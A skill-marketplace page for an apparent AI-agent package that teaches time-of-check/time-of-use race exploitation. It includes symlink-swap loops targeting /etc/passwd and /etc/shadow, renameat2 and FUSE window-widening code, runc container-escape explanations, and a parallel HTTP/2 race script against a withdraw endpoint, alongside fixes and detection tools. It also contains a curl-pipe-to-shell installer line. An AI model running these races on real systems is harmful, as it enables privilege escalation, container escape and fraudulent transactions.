offensive-toctou
Time-of-Check / Time-of-Use (TOCTOU) race condition exploitation methodology across binary, kernel, filesystem, web, and container layers. Covers symbolic-link races (open/access/stat split), file-descriptor races, fopen/realpath traversal races, /proc and procfs races, FUSE-backed slow-fs races to
v2026.11.11-fd814412 installs+2 in 7 days11.2K StarsMITsynced 13 hours ago
Install
No NotHoly CLI yet? Install it first.
$ curl -fsSL https://notholy.com/install.sh | sh$ notholy skills install snailsploit/offensive-toctouWrites to ~/.notholy/skills after checking the signature and the SHA-256.
SignatureSigned, ed25519
Package2a057648…f4959ece
2a0576484c8b…f657f4959ece1 file · 5.8 KBScanLow1 finding
- Links to outside domains
Sourcegithub.com/SnailSploit/Claude-Red/tree/main/Skills/exploit-dev/offensive-toctou@fd81441
On this page
A TOCTOU bug exists wherever code checks a property (file owner, path target, token validity, balance) and then acts on it as if the property still holds. Between check and use is a window — your job is to widen it and swap the underlying object.
Quick Workflow
- Identify the check (syscall, function, validation step) and the use (the privileged action)
- Confirm the check and use don't operate on the same kernel object (FD, inode, atomic snapshot)
- Build a primitive that swaps the object between check and use (symlink, mount, mv, parallel request)
- Widen the window with FUSE, slow filesystems, scheduler tricks, or single-packet HTTP/2
- Run a tight loop and confirm the post-use state corresponds to the swapped target
The Core Pattern
// Vulnerable
if (access(path, W_OK) == 0) { // check — resolves "path" now
fd = open(path, O_WRONLY); // use — re-resolves "path" later
write(fd, attacker_data, n);
}Between access and open, an attacker replaces path with a symlink to /etc/shadow. The check sees an attacker-owned file; the use opens shadow as root.
The fix is always: operate on the kernel object, not the path. Use O_NOFOLLOW, openat with AT_SYMLINK_NOFOLLOW, fstat on the FD, etc.
Filesystem TOCTOU
Symlink Swap (Classic)
# Setup target — privileged binary that writes to user-supplied path after access() check
victim --output /tmp/.attacker/output
# Race loop
while true; do
ln -sf /etc/passwd /tmp/.attacker/output 2>/dev/null
ln -sf /tmp/.attacker/legit /tmp/.attacker/output 2>/dev/null
done &
# Run victim repeatedly
while true; do victim --output /tmp/.attacker/output; donerenameat2(RENAME_EXCHANGE) — Atomic Single-Frame Swap
syscall(SYS_renameat2, AT_FDCWD, "good", AT_FDCWD, "bad", RENAME_EXCHANGE);RENAME_EXCHANGE swaps two paths atomically — combined with FUSE-paused dir lookups, this is a near-deterministic primitive on Linux ≥ 3.15.
Directory Swap (mv between two prepared trees)
When the victim resolves parent/file, swap parent itself:
mv good_dir parent && mv evil_dir parent_was_good_dir
# If victim is mid-resolution of `parent/file`, dir cache may pin one sideBind Mount / Mount-Namespace Swap (root-only or in user-ns)
unshare -mUr
mkdir /tmp/x /tmp/y
echo benign > /tmp/x/file
mount --bind /etc/shadow /tmp/y/file
# Then: while true; do mount --move /tmp/x /tmp/m; mount --move /tmp/y /tmp/m; doneIn containerized contexts with CAP_SYS_ADMIN in a user namespace, this is the foundation of multiple runc/CVE escape chains.
Window-Widening Primitives
The race is always winnable in theory; in practice you need the window large enough for your swap.
FUSE-Backed Slow Filesystem
Mount a FUSE filesystem you control. When the victim does open or stat, your handler sleeps:
# fusepy
class SlowFS(Operations):
def getattr(self, path, fh=None):
if path == '/trigger':
time.sleep(5) # stretch the check
return os.lstat(self.root + path).__dict__Now the check call inside the victim blocks for 5 seconds — plenty of time to swap the post-check filename.
Userfaultfd (kernel-level page faults)
// Register a userfault region; when the victim reads the user-controlled buffer,
// pause it in the page-fault handler, swap data, then resume.
ioctl(uffd, UFFDIO_REGISTER, ®);userfaultfd can pause a kernel-side copy_from_user mid-read, enabling double-fetch wins. Linux ≥ 5.11 requires vm.unprivileged_userfaultfd=1 (off by default in many distros).
Cgroup Freeze
mkdir /sys/fs/cgroup/race
echo $victim_pid > /sys/fs/cgroup/race/cgroup.procs
echo 1 > /sys/fs/cgroup/race/cgroup.freeze # pause
# swap files
echo 0 > /sys/fs/cgroup/race/cgroup.freeze # resumeSingle-CPU Pinning + sched_yield
cpu_set_t set; CPU_ZERO(&set); CPU_SET(0, &set);
sched_setaffinity(victim_pid, sizeof(set), &set);
// Race threads on same CPU — context switch is the only progress unitKernel Double-Fetch
A kernel function reads the same userspace location twice; an attacker mutates it in between using userfaultfd or another thread.
// Vulnerable kernel pattern
copy_from_user(&size, &user_arg->size, 4); // first fetch
if (size > MAX) return -EINVAL;
copy_from_user(buf, user_arg->data, size); // size re-fetched? Or from local? Check carefully.Tooling: KFENCE, Bochspwn-Reloaded, DECAF — fuzzers and analyzers that detect double-fetches.
/proc and procfs Races
/proc/pid/exe + ptrace
/proc/<pid>/exe is a magic symlink. If a privileged binary opens it after fork+exec, an attacker can race the exec to point exe at attacker-controlled binary on a slow filesystem. Foundation of CVE-2019-5736 (runc).
// Sketch
fd = open("/proc/self/exe", O_RDONLY); // by attacker, in container
// Then the host runc opens /proc/<pid>/exe to write — opens *attacker's* exe → host RCE/proc/pid/mem
open("/proc/pid/mem") followed by lseek+write historically bypassed write protections. Modern kernels enforce ptrace credentials at write time, but legacy or patched-out checks still exist in embedded kernels.
/proc/pid/cwd / fd / root
Symlinks resolve at deref time using the target task's namespace. Cross-namespace deref of /proc/pid/root/etc/shadow from a sibling container is a recurring vuln class.
Setuid Binary TOCTOU
// Vulnerable flow in classic SUID binary
if (!access(file, R_OK)) { // check with real UID via access()
fd = open(file, O_RDONLY); // open with effective UID = root
sendfile(stdout, fd, ...);
}Symlink swap between access and open makes the binary read root-readable files for unprivileged users.
Rule of thumb when reviewing setuid/setgid binaries: every path appearing twice in a syscall trace is a candidate.
strace -f -e openat,access,stat,lstat,readlink ./suid_binary 2>&1 | grep "$user_input"
# Multiple resolutions of the same user-controlled path = TOCTOU surfaceContainer Escape via TOCTOU
CVE-2019-5736 (runc) — /proc/self/exe Overwrite
When a container runs docker exec, runc opens /proc/self/exe from the host. By replacing the in-container binary with a symlink to /proc/self/exe, the host runc rewrites itself.
CVE-2024-21626 (runc "Leaky Vessels") — Working-Directory FD Leak
A leaked file descriptor to the host filesystem could be inherited via WORKDIR /proc/self/fd/<n> — the container's first process held a host FD, races on namespace setup let it act on host paths.
Symlink-on-Mount Race
When the runtime resolves a bind-mount source/target path (e.g. for tmpfs setup), a fast attacker swaps a directory in the path with a symlink to /. Common in Kubernetes hostPath, Docker volumes, OpenShift SCC bypasses.
Web / API TOCTOU
Auth vs Authz Split at Gateway
Gateway: validates JWT (signature, exp) → forwards to service
Service: trusts gateway's "X-User-Id" headerIf the JWT is revoked between gateway cache and gateway validation, or the gateway caches "valid" results too long, you get post-revocation access. Cache-key confusion (different gateway nodes) widens the window.
Permission Recheck Skipped on Long-Running Action
# Vulnerable
def long_export(user, resource_id):
check_access(user, resource_id) # check
data = stream_resource(resource_id) # use — minutes long
return data # access could have been revoked mid-streamTest: revoke access while a download is mid-stream; if data continues, recheck is missing.
Idempotency-Key Reuse with Different Body
POST /api/withdraw Idempotency-Key: K1 { "amount": 1 }
POST /api/withdraw Idempotency-Key: K1 { "amount": 1000 } # Same key, different bodyMany implementations key only on the key, not key+body-hash → second request returns the first's response while still processing the second's debit.
Single-Packet Multi-Request
HTTP/2: hold N requests' DATA frames, send all END_STREAM in one TCP segment.
Server schedules N handlers concurrently with sub-millisecond skew → reliable race wins.
Tool: Burp Repeater "Send group in parallel (single-packet)".This is the standard primitive for web TOCTOU since 2023; old httpie ... & parallelism is obsolete.
Limit / Quota TOCTOU
# Vulnerable
if user.balance >= amount: # check
user.balance -= amount # use — non-atomic read-modify-write
pay(user, amount)Send N parallel requests, each sees the same pre-decrement balance. Fix: atomic decrement with constraint (UPDATE ... WHERE balance >= amount).
Mobile / Binary Cookbook
Android: Intent Redirect TOCTOU
Activity checks calling package via getCallingPackage() then dispatches via Intent — between check and dispatch, attacker swaps the underlying ContentProvider URI authority resolution.
iOS: NSXPC Audit Token Confusion
audit_token_t should be captured at the start of each XPC message handling. If the service captures it once and reuses, an attacker can race PID reuse to impersonate.
Detection & Tooling
| Tool | Layer | Use |
|---|---|---|
strace -e trace=file -f |
Linux syscall | Find duplicate path resolutions |
bpftrace / bcc |
Kernel | Probe specific syscalls' args at scale |
| ThreadSanitizer (TSan) | Userspace C/C++ | Compile-time race detection |
| Helgrind / DRD | Userspace | Pthread race detection |
| Bochspwn-Reloaded | Kernel | Double-fetch detection |
syzkaller |
Kernel | Coverage-guided race fuzzing |
| Burp Suite (Repeater single-packet) | Web/HTTP | Concurrent request races |
racepwn |
Web | Multi-thread + timing harness |
Turbo Intruder |
Web | Pipelined parallel requests |
# Quick filesystem TOCTOU finder against a binary
strace -f -e trace=file ./target 2>&1 | \
awk -F'"' '/access|stat|lstat|open|readlink/ {print $2}' | \
sort | uniq -c | sort -rn | head
# Paths appearing N>1 times → TOCTOU candidatesRace Loop Templates
Filesystem (C)
#include <sys/syscall.h>
#include <linux/fs.h>
int main() {
pid_t p = fork();
if (!p) { for(;;) syscall(SYS_renameat2, -100,"a",-100,"b",RENAME_EXCHANGE); }
for(;;) execve(victim, args, env);
}Web (Python — single-packet HTTP/2)
# Use httpx or h2 directly; pyburp or turbo-intruder for production
import httpx, anyio
async def race():
async with httpx.AsyncClient(http2=True) as c:
async with anyio.create_task_group() as tg:
for _ in range(30):
tg.start_soon(c.post, "https://app/withdraw", json={"amount": 100})
anyio.run(race)For real reliability on TLS, prefer Burp's single-packet feature — it crafts an HTTP/2 last-byte synchronization.
Reporting / Severity
A TOCTOU finding's severity rests on: window size (deterministic vs probabilistic), required adjacency (local user / container / authenticated remote), and the post-use primitive (file write, auth bypass, money). A "1-in-10000 race that gives root" is the same finding as a "deterministic race that gives root" once it's chained with a window-widening primitive. Always demonstrate:
- The minimum reproducer
- The window-widener used
- The success rate observed
- The post-exploit primitive achieved
Key References
- MITRE CWE-367 (TOCTOU), CWE-362 (Race Condition)
- USENIX Security: "FUSE for Profit" — TOCTOU window-widening
- PortSwigger Research: "Smashing the state machine" (single-packet HTTP/2 attack)
- runc CVE-2019-5736, CVE-2024-21626 advisories
- Source: https://github.com/SnailSploit/offensive-checklist/blob/main/toctou.md
Files in this version
- SKILL.md12.6 KB
Permissions
| Permission | Declared | Found by the scan |
|---|---|---|
| Reads files | No | No |
| Writes files | Yes | Yes |
| Runs shell commands | Yes | Yes |
| Uses the network | Yes | Yes |
| Uses connectors | No | No |
| Drives a browser | No | No |
Scan findings
Reviewed on Nov 13, 2026
- InfoLink · Links to outside domains
A clean scan lowers the risk but does not prove a package is safe. Read what you install.
| Version | Published | Commit | SHA-256 | Signature | Permission change |
|---|---|---|---|---|---|
| v2026.11.11-fd81441 | Nov 13, 2026 | fd81441 | 2a057648 | Signed | – |
More from SnailSploit
All from this publisherMore in Reverse engineering and fuzzing
See the categoryAsk anything your scope allows.
Create an account, add credits and ask the first question in the chat or the terminal.
- 1/3
Create the account
Individual or company. You can switch to a company later without losing balance or keys.
IndividualCompany - 2/3
Add credits
By card. Pay per token, no subscription.
$5.00minimum deposit - 3/3
Ask
In the chat, or install the CLI and run notholy login in your terminal.
$ notholy login